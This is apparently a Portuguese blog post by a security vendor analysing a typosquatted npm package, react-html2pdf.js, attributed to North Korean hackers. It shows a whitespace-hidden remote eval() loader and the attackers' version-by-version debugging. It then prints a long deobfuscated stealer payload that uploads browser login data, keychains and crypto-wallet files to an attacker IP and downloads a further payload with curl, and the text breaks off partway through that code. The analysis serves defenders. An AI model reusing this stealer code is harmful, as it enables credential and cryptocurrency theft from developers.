Produto
Tudo o que precisa para proteger o código, a nuvem e o tempo de execução - num único sistema central
Código
Dependências
Prevenir riscos de código aberto (SCA)
Segredos
Apanhar segredos expostos
SAST
Código seguro tal como está escrito
Imagens de contentores
Proteger imagens facilmente
Malware
Prevenir ataques à cadeia de abastecimento
Infraestrutura como código
Verificar se há erros de configuração no IaC
Risco de licença e SBOMs
Evite riscos, cumpra as normas
Software desatualizado
Conheça os seus tempos de execução EOL
Nuvem
Nuvem / CSPM
Configurações incorrectas da nuvem
DAST
Testes de segurança de caixa negra
Verificação da API
Teste as suas APIs para detetar vulnerabilidades
Máquinas virtuais
Sem agentes, sem despesas gerais
Tempo de execução do Kubernetes
em breve
Proteja as suas cargas de trabalho de contentores
Inventário na nuvem
A expansão da nuvem, resolvida
Defender
Proteção em tempo de execução
Firewall na aplicação / WAF
Caraterísticas
AI AutoFix
Correcções com um clique com a IA do Aikido
Segurança CI/CD
Análise antes da fusão e da implantação
Integrações IDE
Obtenha feedback instantâneo enquanto codifica
Scanner no local
Digitalização local com prioridade à conformidade
Soluções
Casos de utilização
Conformidade
Automatize SOC 2, ISO e muito mais
Gestão de vulnerabilidades
Gestão de vulnerabilidades tudo-em-um
Proteja o seu código
Segurança de código avançada
Gerar SBOMs
1 clique Relatórios SCA
ASPM
AppSec de ponta a ponta
IA no Aikido
Deixe a IA do Aikido fazer o trabalho
Bloco 0-Dias
Bloquear ameaças antes do impacto
Indústrias
FinTech
Tecnologia da saúde
HRTech
Tecnologia jurídica
Empresas do Grupo
Agências
Startups
Empresa
Aplicações móveis
Fabrico
Preços
Recursos
Programador
Documentos
Como utilizar o Aikido
Documentos públicos da API
Centro de desenvolvimento de Aikido
Registo de alterações
Ver o que foi enviado
Segurança
Investigação interna
Informações sobre malware e CVE
Glossário
Guia do jargão de segurança
Centro de Confiança
Seguro, privado, conforme
Código aberto
Aikido Intel
Feed de ameaças de malware e OSS
Zen
Proteção da firewall na aplicação
OpenGrep
Motor de análise de código
Integrações
IDEs
Sistemas de CI/CD
Nuvens
Sistemas Git
Conformidade
Mensageiros
Gestores de tarefas
Mais integrações
Sobre
Sobre
Sobre
Conheça a equipa
Carreiras
Estamos a contratar
Kit de imprensa
Descarregar activos da marca
Calendário
Vemo-nos por aí?
Código aberto
Os nossos projectos OSS
Blogue
As últimas mensagens
Histórias de clientes
A confiança das melhores equipas
Contacto
Iniciar sessão
Comece de graça
Não é necessário CC
Aikido
Menu
Aikido
PT
PT
FR
JP
Iniciar sessão
Comece de graça
Não é necessário CC
Blogue
/
Malware escondido à vista de todos: Espionagem de hackers norte-coreanos

Malware escondido à vista de todos: Espionagem de hackers norte-coreanos

Por
Charlie Eriksen
Charlie Eriksen
4 min ler

No dia 13 de março de 2025, o nosso motor de análise de malware alertou-nos para um potencial pacote malicioso que foi adicionado ao NPM. Os primeiros indícios sugeriam que este seria um caso claro, no entanto, quando começámos a descascar as camadas, as coisas não eram bem como pareciam. 

Aqui está uma história sobre como os actores sofisticados de um Estado-nação podem esconder malware dentro de pacotes. 

Notificação

Pouco depois das 13:00, fomos notificados pela nossa ferramenta de deteção de malware que um novo pacote malicioso tinha sido carregado no NPM, direcionando-nos para o pacote react-html2pdf.js (já removido). Aparentemente, esse pacote estava se disfarçando como o pacote react-html2pdf , um pacote legítimo e popular do npm. Embora parecesse suspeito, não pudemos ver imediatamente a ameaça que ele representava, até olharmos um pouco mais de perto.

Como esconder-se à vista de todos

O primeiro passo que demos foi olhar para o package.json. A maior parte do malware terá um gancho de ciclo de vida como pré-instalação, instalar, pós-instalação. Mas não vimos isso neste pacote.

{
  "name": "react-html2pdf.js",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

Em seguida, demos uma olhada no arquivo index.js. Mas, estranhamente, também não havia nada aqui. Começando a pensar se o nosso detetor de malware estaria a alertar sobre falsos positivos, finalmente encontrámos algo.... Consegue ver?

É fácil não ver, mas há algo de errado aqui. 

Reparou na barra de deslocamento horizontal? O que é que ela está a tentar esconder? Deslocámo-nos para o lado e aí estava a nossa resposta. 

Aqui está a versão melhorada do código.

function html2pdf() {
    (async () => eval((await axios.get("https://ipcheck-production.up.railway[.]app/106", {
        headers: {
            "x-secret-key": "locationchecking"
        }
    })).data))()
    return "html2pdf"
}

module.exports = html2pdf

Aqui está. Está a fazer um pedido HTTP a um URL e a passar a resposta diretamente para eval(). 

Todos cometemos erros

Demorámos alguns instantes a perceber que a nossa deteção automática estava correta e foi um pouco estranho ter duvidado da sua correção. Mas todos cometemos erros, certo....... Até os atacantes o fazem, de facto, os próprios atacantes cometeram vários erros. 

  1. Existem duas dependências no pacote: sqlite3 e pedido. Nenhum dos dois tem áxis como uma dependência.
  2. Não existe uma declaração de importação/exigência para axios.

Como resultado, este ataque nunca teria funcionado. Mesmo que eles tivessem incluído o axios como uma dependência, ainda faltava uma importação. 

Vê-los a fazer asneiras em tempo real

Pode parecer que esta é uma história sobre uma tentativa falhada de escrever malware. Esta história está apenas a começar e aconteceu uma coisa muito fixe. Pudemos ver os atacantes a depurar e a corrigir os seus erros em tempo real. 

O nosso analisador de malware detectou este pacote na versão 1.0.0, mas as versões que se seguiram deram-nos informações valiosas sobre a forma como estes agentes de ameaças operavam e proporcionaram-nos um entretenimento interminável enquanto os víamos a atrapalharem-se e a falharem na tentativa de fazer o seu ataque funcionar.  

1.0.0 - 3/13/2025, 12:54:40 PM

Versão interna 1.0.0Na primeira versão, o pacote consiste no mesmo ficheiro index.js mostrado anteriormente, e há um ficheiro chamado /test/script.js. A única coisa que faz é isto:

const html2pdf = requerer('react-html2pdf.js')

consola.log(html2pdf())

Isto simplesmente resolve o pacote em si e executa o payload. Isso provavelmente seria usado como parte de um gancho de ciclo de vida, mas nenhum estava presente.

1.0.1 - 3/13/2025, 2:10:00 PM

Esta versão parece ser a depuração do seu código. Ao contrário da versão 1.0.0, não estão a fazer o mesmo esforço para tentar esconder o seu código malicioso.

Alteraram o código para utilizar uma função assíncrona em vez de um lambda anónimo. Também adicionaram uma declaração de registo na consola. 

Mesmo os APTs depuram o código com consola.log aparentemente!

Estão a tentar determinar porque é que não está a fazer o pedido HTTP esperado. Obviamente, é porque não há dependência do áxis e nenhuma declaração de importação para o mesmo.

1.0.2 - 3/13/2025, 2:23:49 PM

15 minutos depois, parece que eles finalmente descobriram que precisam adicionar o axios como uma dependência e incluíram axios@^1.8.3. 

{
  "name": "react-html2pdf.js",
  "version": "1.0.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "axios": "^1.8.3",
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

De resto, o código é o mesmo. Continua a ter registo de depuração e não introduziu novamente a ofuscação de espaços em branco. 

Embora se estejam a aproximar, os atacantes ainda não se lembraram de importar axios. 

1.0.3 - 3/13/2025, 2:37:23 PM

Poucos minutos depois, recebemos outra atualização. É evidente que ainda estão a tentar resolver o problema com as alterações ao ficheiro index.js nesta versão. Infelizmente para eles, ainda não descobriram a origem do problema. 

const html2pdf = async () => {
    const res = await axios.get("https://ipcheck-production.up.railway.app/106", { headers: { "x-secret-key": "locationchecking" } });
    console.log("checked ok");
    eval(res.data.cookie);
    return "html2pdf"
}

module.exports = html2pdf

Notará duas alterações:

  1. Em vez de uma função, estão a defini-la como um lambda assíncrono. 
  2. Estão a eval()'ing o res.data.cookie em vez de res.data como nas versões anteriores. Mas o payload não está no cookie ou num campo chamado cookie quando o vamos buscar ao servidor. 

No entanto, isto continua a não funcionar devido à falta de uma declaração import/require. 

Analisar a carga útil

Com um sorteio no escritório, onde se apostava no tempo que demoraria a descobrir o seu erro, aguardávamos ansiosamente a próxima atualização. Infelizmente, os atacantes parecem frustrados por terem perdido a motivação para a sua exploração sem mais actualizações. Isso deu-nos algum tempo para aprofundar um pouco mais e analisar a carga maliciosa que estavam a tentar injetar. 

Tal como nos outros pacotes, este está ofuscado. Depois de o passarmos por alguma desofuscação, acabámos com um payload muito clássico que está bem documentado. 

(function (_0x439ccd, _0x2f2b84) {
  const _0x48e319 = _0x439ccd();
  while (true) {
    try {
      const _0xc3ac80 = -parseInt(_0x5e84(719, 0x6d6)) / 1 + parseInt(_0x5e84(433, 0x551)) / 2 + parseInt(_0x5e84(659, -0x1c1)) / 3 + -parseInt(_0x5e84(392, -0x21a)) / 4 * (-parseInt(_0x5e84(721, -0x9a)) / 5) + parseInt(_0x5e84(687, 0x623)) / 6 * (-parseInt(_0x5e84(409, 0x570)) / 7) + -parseInt(_0x5e84(459, -0x17b)) / 8 * (parseInt(_0x5e84(419, 0x50b)) / 9) + parseInt(_0x5e84(415, -0x194)) / 10;
      if (_0xc3ac80 === _0x2f2b84) {
        break;
      } else {
        _0x48e319.push(_0x48e319.shift());
      }
    } catch (_0x6c2a0f) {
      _0x48e319.push(_0x48e319.shift());
    }
  }
})(_0x506f, 354290);
const _0x7b1f8a = function () {
  let _0x4ca892 = true;
  return function (_0x56e847, _0x590243) {
    const _0x745c8c = _0x4ca892 ? function () {
      if (_0x590243) {
        const _0x322c0c = _0x590243.apply(_0x56e847, arguments);
        _0x590243 = null;
        return _0x322c0c;
      }
    } : function () {};
    _0x4ca892 = false;
    return _0x745c8c;
  };
}();
const _0x4b1d0b = _0x7b1f8a(this, function () {
  return _0x4b1d0b.toString().search("(((.+)+)+)+$").toString().constructor(_0x4b1d0b).search("(((.+)+)+)+$");
});
_0x4b1d0b();
function _0x5e84(_0x491dbf, _0x24c768) {
  const _0x1eb954 = _0x506f();
  _0x5e84 = function (_0x3109a1, _0x3d8eb2) {
    _0x3109a1 = _0x3109a1 - 390;
    let _0x273b10 = _0x1eb954[_0x3109a1];
    if (_0x5e84.QApUJJ === undefined) {
      var _0x4807eb = function (_0x1c601e) {
        let _0x52517a = '';
        let _0xb93639 = '';
        let _0x194ad5 = _0x52517a + _0x4807eb;
        let _0x9c31a6 = 0;
        let _0x5bbe0b;
        let _0x1757c6;
        for (let _0xa23365 = 0; _0x1757c6 = _0x1c601e.charAt(_0xa23365++); ~_0x1757c6 && (_0x5bbe0b = _0x9c31a6 % 4 ? _0x5bbe0b * 64 + _0x1757c6 : _0x1757c6, _0x9c31a6++ % 4) ? _0x52517a += _0x194ad5.charCodeAt(_0xa23365 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x5bbe0b >> (-2 * _0x9c31a6 & 6)) : _0x9c31a6 : 0) {
          _0x1757c6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1757c6);
        }
        let _0x469363 = 0;
        for (let _0x148ed5 = _0x52517a.length; _0x469363 < _0x148ed5; _0x469363++) {
          _0xb93639 += '%' + ('00' + _0x52517a.charCodeAt(_0x469363).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0xb93639);
      };
      _0x5e84.SmAvPn = _0x4807eb;
      _0x491dbf = arguments;
      _0x5e84.QApUJJ = true;
    }
    const _0x3c1851 = _0x1eb954[0];
    const _0x59b60e = _0x3109a1 + _0x3c1851;
    const _0x55f78b = _0x491dbf[_0x59b60e];
    if (!_0x55f78b) {
      const _0x5f300b = function (_0x2fd671) {
        this.QHOMud = _0x2fd671;
        this.YVDaph = [1, 0, 0];
        this.JcbGmJ = function () {
          return 'newState';
        };
        this.OVyCMT = "\\w+ *\\(\\) *{\\w+ *";
        this.JLwvwW = "['|\"].+['|\"];? *}";
      };
      _0x5f300b.prototype.mifMRh = function () {
        const _0x229166 = new RegExp(this.OVyCMT + this.JLwvwW);
        const _0x3a34db = _0x229166.test(this.JcbGmJ.toString()) ? --this.YVDaph[1] : --this.YVDaph[0];
        return this.BbIAmR(_0x3a34db);
      };
      _0x5f300b.prototype.BbIAmR = function (_0x42c1a6) {
        if (!Boolean(~_0x42c1a6)) {
          return _0x42c1a6;
        }
        return this.bXmZOq(this.QHOMud);
      };
      _0x5f300b.prototype.bXmZOq = function (_0xbd8ca5) {
        let _0x47b9b1 = 0;
        for (let _0x2729f9 = this.YVDaph.length; _0x47b9b1 < _0x2729f9; _0x47b9b1++) {
          this.YVDaph.push(Math.round(Math.random()));
          _0x2729f9 = this.YVDaph.length;
        }
        return _0xbd8ca5(this.YVDaph[0]);
      };
      new _0x5f300b(_0x5e84).mifMRh();
      _0x273b10 = _0x5e84.SmAvPn(_0x273b10);
      _0x491dbf[_0x59b60e] = _0x273b10;
    } else {
      _0x273b10 = _0x55f78b;
    }
    return _0x273b10;
  };
  return _0x5e84(_0x491dbf, _0x24c768);
}
const _0x37a9de = function () {
  const _0x11156e = {
    npoYK: 'IOjyc'
  };
  _0x11156e.wzbes = function (_0x2abc93, _0x52b5bf) {
    return _0x2abc93 === _0x52b5bf;
  };
  _0x11156e.gBKuE = "arDDM";
  _0x11156e.ptaJJ = "Moloi";
  let _0x135685 = true;
  return function (_0x2f5864, _0x41df13) {
    if (_0x11156e.wzbes(_0x11156e.gBKuE, _0x11156e.ptaJJ)) {
      try {
        const _0x1cb1ce = {
          filename: _0x2d36f8 + '_lst'
        };
        _0xf5f415.push({
          'value': _0x404acb.createReadStream(_0x321d52),
          'options': _0x1cb1ce
        });
      } catch (_0x2a90eb) {}
    } else {
      const _0x1b0bdc = _0x135685 ? function () {
        if (_0x41df13) {
          const _0x1854ff = _0x41df13.apply(_0x2f5864, arguments);
          _0x41df13 = null;
          return _0x1854ff;
        }
      } : function () {};
      _0x135685 = false;
      return _0x1b0bdc;
    }
  };
}();
const _0x2beb3b = _0x37a9de(this, function () {
  const _0xf65419 = function () {
    let _0x2cff02;
    try {
      _0x2cff02 = Function("return (function() {}.constructor(\"return this\")( ));")();
    } catch (_0x1b5eab) {
      _0x2cff02 = window;
    }
    return _0x2cff02;
  };
  const _0x1b948b = _0xf65419();
  const _0x342695 = _0x1b948b.console = _0x1b948b.console || {};
  const _0x212c22 = ["log", "warn", "info", "error", "exception", 'table', "trace"];
  for (let _0xf72095 = 0; _0xf72095 < _0x212c22.length; _0xf72095++) {
    const _0x394e1b = _0x37a9de.constructor.prototype.bind(_0x37a9de);
    const _0x444ab9 = _0x212c22[_0xf72095];
    const _0x442110 = _0x342695[_0x444ab9] || _0x394e1b;
    _0x394e1b.__proto__ = _0x37a9de.bind(_0x37a9de);
    _0x394e1b.toString = _0x442110.toString.bind(_0x442110);
    _0x342695[_0x444ab9] = _0x394e1b;
  }
});
_0x2beb3b();
const fs = require('fs');
const os = require('os');
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = _0x30607a => _0x30607a.replace(/^~([a-z]+|\/)/, (_0x2a0b7e, _0x4cea8f) => '/' === _0x4cea8f ? homeDir : path.dirname(homeDir) + '/' + _0x4cea8f);
function testPath(_0x133be5) {
  try {
    fs.accessSync(_0x133be5);
    return true;
  } catch (_0x4d579f) {
    return false;
  }
}
function _0x506f() {
  const _0x4e59ac = [....];
  _0x506f = function () {
    return _0x4e59ac;
  };
  return _0x506f();
}
function _0x275dbc(_0x3a088a, _0x2b8854, _0x55aca9, _0x523cc3) {
  return _0x5e84(_0x3a088a - 0x27, _0x523cc3);
}
const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const uploadFiles = async (_0x4e59e1, _0x1e64c9, _0x1b778e, _0x35144d) => {
  let _0xbfe9a;
  if (!_0x4e59e1 || '' === _0x4e59e1) {
    return [];
  }
  try {
    if (!testPath(_0x4e59e1)) {
      return [];
    }
  } catch (_0x25bf31) {
    return [];
  }
  if (!_0x1e64c9) {
    _0x1e64c9 = '';
  }
  let _0x2ae51b = [];
  for (let _0x801a82 = 0; _0x801a82 < 200; _0x801a82++) {
    const _0x3fd963 = _0x4e59e1 + '/' + (0 === _0x801a82 ? "Default" : "Profile " + _0x801a82) + "/Local Extension Settings";
    for (let _0x2652fd = 0; _0x2652fd < Bt.length; _0x2652fd++) {
      let _0x2ef81f = _0x3fd963 + '/' + Bt[_0x2652fd];
      if (testPath(_0x2ef81f)) {
        let _0x1fd2c9 = [];
        try {
          _0x1fd2c9 = fs.readdirSync(_0x2ef81f);
        } catch (_0x354f49) {
          _0x1fd2c9 = [];
        }
        let _0x4808c4 = 0;
        if (!testPath(getAbsolutePath('~/') + "/.n3")) {
          fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
        }
        _0x1fd2c9.forEach(async _0x4e7f8b => {
          let _0x3bca73 = path.join(_0x2ef81f, _0x4e7f8b);
          try {
            let _0x331d2f = fs.statSync(_0x3bca73);
            if (_0x331d2f.isDirectory()) {
              return;
            }
            if (_0x3bca73.includes(".log") || _0x3bca73.includes(".ldb")) {
              const _0x50a239 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(_0x3bca73),
                'options': _0x50a239
              });
            } else {
              fs_promises.copyFile(_0x3bca73, getAbsolutePath('~/') + "/.n3/tp" + _0x4808c4);
              const _0x27ff50 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(getAbsolutePath('~/') + '/.n3/tp' + _0x4808c4),
                'options': _0x27ff50
              });
              _0x4808c4 += 1;
            }
          } catch (_0x365110) {}
        });
      }
    }
  }
  if (_0x1b778e && (_0xbfe9a = homeDir + "/.config/solana/id.json", fs.existsSync(_0xbfe9a))) {
    try {
      const _0x149c73 = {
        filename: "solana_id.txt"
      };
      _0x2ae51b.push({
        'value': fs.createReadStream(_0xbfe9a),
        'options': _0x149c73
      });
    } catch (_0x293a9e) {}
  }
  Upload(_0x2ae51b, _0x35144d);
  return _0x2ae51b;
};
const uploadMozilla = _0x28bdbb => {
  const _0x58f3c4 = getAbsolutePath('~/') + "/AppData/Roaming/Mozilla/Firefox/Profiles";
  let _0x11a54c = [];
  if (testPath(_0x58f3c4)) {
    let _0x43f643 = [];
    try {
      _0x43f643 = fs.readdirSync(_0x58f3c4);
    } catch (_0x277851) {
      _0x43f643 = [];
    }
    let _0xfea5f8 = 0;
    _0x43f643.forEach(async _0x7fdd1f => {
      let _0x1565a3 = path.join(_0x58f3c4, _0x7fdd1f);
      if (_0x1565a3.includes('-release')) {
        let _0xb824a = path.join(_0x1565a3, "/storage/default");
        let _0x5b8589 = [];
        _0x5b8589 = fs.readdirSync(_0xb824a);
        let _0x56f1bd = 0;
        _0x5b8589.forEach(async _0x1349f0 => {
          if (_0x1349f0.includes("moz-extension")) {
            let _0xb29520 = path.join(_0xb824a, _0x1349f0);
            _0xb29520 = path.join(_0xb29520, "idb");
            let _0xbf7b4c = [];
            _0xbf7b4c = fs.readdirSync(_0xb29520);
            _0xbf7b4c.forEach(async _0x39b65b => {
              if (_0x39b65b.includes(".files")) {
                let _0x23bb34 = path.join(_0xb29520, _0x39b65b);
                let _0x907e03 = [];
                _0x907e03 = fs.readdirSync(_0x23bb34);
                _0x907e03.forEach(_0x18728f => {
                  if (!fs.statSync(path.join(_0x23bb34, _0x18728f)).isDirectory()) {
                    let _0x5c1eaa = path.join(_0x23bb34, _0x18728f);
                    const _0x3dabaf = {
                      filename: _0xfea5f8 + '_' + _0x56f1bd + '_' + _0x18728f
                    };
                    _0x11a54c.push({
                      'value': fs.createReadStream(_0x5c1eaa),
                      'options': _0x3dabaf
                    });
                  }
                });
              }
            });
          }
        });
        _0x56f1bd += 1;
      }
      _0xfea5f8 += 1;
    });
    Upload(_0x11a54c, _0x28bdbb);
    return _0x11a54c;
  }
};
const uploadEs = _0x259211 => {
  let _0x3d015b = '';
  let _0x237a59 = [];
  if ('w' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
  } else if ('d' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/Library/Application Support/exodus.wallet";
  } else {
    _0x3d015b = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";
  }
  if (testPath(_0x3d015b)) {
    let _0x12e506 = [];
    try {
      _0x12e506 = fs.readdirSync(_0x3d015b);
    } catch (_0x94bd45) {
      _0x12e506 = [];
    }
    let _0x28935a = 0;
    if (!testPath(getAbsolutePath('~/') + "/.n3")) {
      fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
    }
    _0x12e506.forEach(async _0x19fec3 => {
      let _0x4b88c9 = path.join(_0x3d015b, _0x19fec3);
      try {
        fs_promises.copyFile(_0x4b88c9, getAbsolutePath('~/') + "/.n3/tp" + _0x28935a);
        const _0x61985d = {
          filename: "106_" + _0x19fec3
        };
        _0x237a59.push({
          'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x28935a),
          'options': _0x61985d
        });
        _0x28935a += 1;
      } catch (_0x59cc5f) {}
    });
  }
  Upload(_0x237a59, _0x259211);
  return _0x237a59;
};
const Upload = (_0x5371da, _0x486521) => {
  const _0x56f846 = {
    type: "106"
  };
  _0x56f846.hid = "106_" + hostname;
  _0x56f846.uts = _0x486521;
  _0x56f846.multi_file = _0x5371da;
  try {
    if (_0x5371da.length > 0) {
      const _0x4ca09a = {
        url: "http://144.172.96[.]80:1224/uploads",
        formData: _0x56f846
      };
      request.post(_0x4ca09a, (_0x3ae8f6, _0x3a2f2e, _0x14c423) => {});
    }
  } catch (_0x531e0d) {}
};
const UpAppData = async (_0x4426ad, _0x3e8f59, _0x60e2a7) => {
  try {
    let _0x268ce4 = '';
    _0x268ce4 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x4426ad[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x4426ad[2] : getAbsolutePath('~/') + '/AppData/' + _0x4426ad[0] + "/User Data";
    await uploadFiles(_0x268ce4, _0x3e8f59 + '_', 0 == _0x3e8f59, _0x60e2a7);
  } catch (_0x5ebd09) {}
};
const UpKeychain = async _0x3714c5 => {
  let _0x3a24d9 = [];
  let _0x39d8f5 = homeDir + "/Library/Keychains/login.keychain";
  if (fs.existsSync(_0x39d8f5)) {
    try {
      const _0x94b19a = {
        filename: "logkc-db"
      };
      _0x3a24d9.push({
        'value': fs.createReadStream(_0x39d8f5),
        'options': _0x94b19a
      });
    } catch (_0x5a79ae) {}
  } else {
    _0x39d8f5 += '-db';
    if (fs.existsSync(_0x39d8f5)) {
      try {
        const _0x1aed52 = {
          filename: "logkc-db"
        };
        _0x3a24d9.push({
          'value': fs.createReadStream(_0x39d8f5),
          'options': _0x1aed52
        });
      } catch (_0x29bcaf) {}
    }
  }
  try {
    let _0x17c169 = homeDir + "/Library/Application Support/Google/Chrome";
    if (testPath(_0x17c169)) {
      for (let _0x1d1991 = 0; _0x1d1991 < 200; _0x1d1991++) {
        const _0x141480 = _0x17c169 + '/' + (0 === _0x1d1991 ? 'Default' : "Profile " + _0x1d1991) + "/Login Data";
        try {
          if (!testPath(_0x141480)) {
            continue;
          }
          const _0x11ddc5 = _0x17c169 + "/ld_" + _0x1d1991;
          const _0x4c51e4 = {
            filename: 'pld_' + _0x1d1991
          };
          if (testPath(_0x11ddc5)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x11ddc5),
              'options': _0x4c51e4
            });
          } else {
            fs.copyFile(_0x141480, _0x11ddc5, _0x5336ba => {
              const _0x173efd = {
                filename: "pld_" + _0x1d1991
              };
              let _0x2adc61 = [{
                'value': fs.createReadStream(_0x141480),
                'options': _0x173efd
              }];
              Upload(_0x2adc61, _0x3714c5);
            });
          }
        } catch (_0x136aa3) {}
      }
    }
  } catch (_0x10da1f) {}
  try {
    let _0x5877c5 = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
    if (testPath(_0x5877c5)) {
      for (let _0x4289ac = 0; _0x4289ac < 200; _0x4289ac++) {
        const _0x388e88 = _0x5877c5 + '/' + (0 === _0x4289ac ? "Default" : "Profile " + _0x4289ac);
        try {
          if (!testPath(_0x388e88)) {
            continue;
          }
          const _0x4cb112 = _0x388e88 + "/Login Data";
          const _0x533124 = {
            filename: 'brld_' + _0x4289ac
          };
          if (testPath(_0x4cb112)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x4cb112),
              'options': _0x533124
            });
          } else {
            fs.copyFile(_0x388e88, _0x4cb112, _0x29cd60 => {
              const _0x2c0338 = {
                filename: "brld_" + _0x4289ac
              };
              let _0x2511d4 = [{
                'value': fs.createReadStream(_0x388e88),
                'options': _0x2c0338
              }];
              Upload(_0x2511d4, _0x3714c5);
            });
          }
        } catch (_0x3a308e) {}
      }
    }
  } catch (_0x430644) {}
  Upload(_0x3a24d9, _0x3714c5);
  return _0x3a24d9;
};
const UpUserData = async (_0x36f5a0, _0x286e68, _0x4300cf) => {
  let _0x424c5f = [];
  let _0x4b95f2 = '';
  _0x4b95f2 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x36f5a0[1] : 'l' == platform[0] ? getAbsolutePath('~/') + '/.config/' + _0x36f5a0[2] : getAbsolutePath('~/') + "/AppData/" + _0x36f5a0[0] + "/User Data";
  let _0x227f08 = _0x4b95f2 + "/Local State";
  if (fs.existsSync(_0x227f08)) {
    try {
      const _0x4a1d0a = {
        filename: _0x286e68 + "_lst"
      };
      _0x424c5f.push({
        'value': fs.createReadStream(_0x227f08),
        'options': _0x4a1d0a
      });
    } catch (_0x18477b) {}
  }
  try {
    if (testPath(_0x4b95f2)) {
      for (let _0x5d2f7f = 0; _0x5d2f7f < 200; _0x5d2f7f++) {
        const _0x217a08 = _0x4b95f2 + '/' + (0 === _0x5d2f7f ? 'Default' : "Profile " + _0x5d2f7f);
        try {
          if (!testPath(_0x217a08)) {
            continue;
          }
          const _0x43a5b3 = _0x217a08 + "/Login Data";
          if (!testPath(_0x43a5b3)) {
            continue;
          }
          const _0x677c1e = {
            filename: _0x286e68 + '_' + _0x5d2f7f + "_uld"
          };
          _0x424c5f.push({
            'value': fs.createReadStream(_0x43a5b3),
            'options': _0x677c1e
          });
        } catch (_0x468130) {}
      }
    }
  } catch (_0x25db13) {}
  Upload(_0x424c5f, _0x4300cf);
  return _0x424c5f;
};
function _0x209c84(_0x42c618, _0x40ddd7, _0x324bac, _0x231a82) {
  return _0x5e84(_0x40ddd7 + 0xd7, _0x42c618);
}
let It = 0;
const extractFile = async _0x169ea8 => {
  ex("tar -xf " + _0x169ea8 + " -C " + homeDir, (_0x5137bb, _0x38768c, _0x44c05a) => {
    if (_0x5137bb) {
      fs.rmSync(_0x169ea8);
      return void (It = 0);
    }
    fs.rmSync(_0x169ea8);
    Xt();
  });
};
const runP = () => {
  const _0x63e597 = tmpDir + "\\p.zi";
  const _0x37a8dc = tmpDir + "\\p2.zip";
  if (It >= 51476596) {
    return;
  }
  if (fs.existsSync(_0x63e597)) {
    try {
      var _0x2d691c = fs.statSync(_0x63e597);
      if (_0x2d691c.size >= 51476596) {
        It = _0x2d691c.size;
        fs.rename(_0x63e597, _0x37a8dc, _0x34791b => {
          if (_0x34791b) {
            throw _0x34791b;
          }
          extractFile(_0x37a8dc);
        });
      } else {
        if (It < _0x2d691c.size) {
          It = _0x2d691c.size;
        } else {
          fs.rmSync(_0x63e597);
          It = 0;
        }
        Ht();
      }
    } catch (_0xf9efb1) {}
  } else {
    ex("curl -Lo \"" + _0x63e597 + "\" \"" + "http://144.172.96[.]80:1224/pdown" + "\"", (_0x33551d, _0x26a269, _0x1f4359) => {
      if (_0x33551d) {
        It = 0;
        return void Ht();
      }
      try {
        It = 51476596;
        fs.renameSync(_0x63e597, _0x37a8dc);
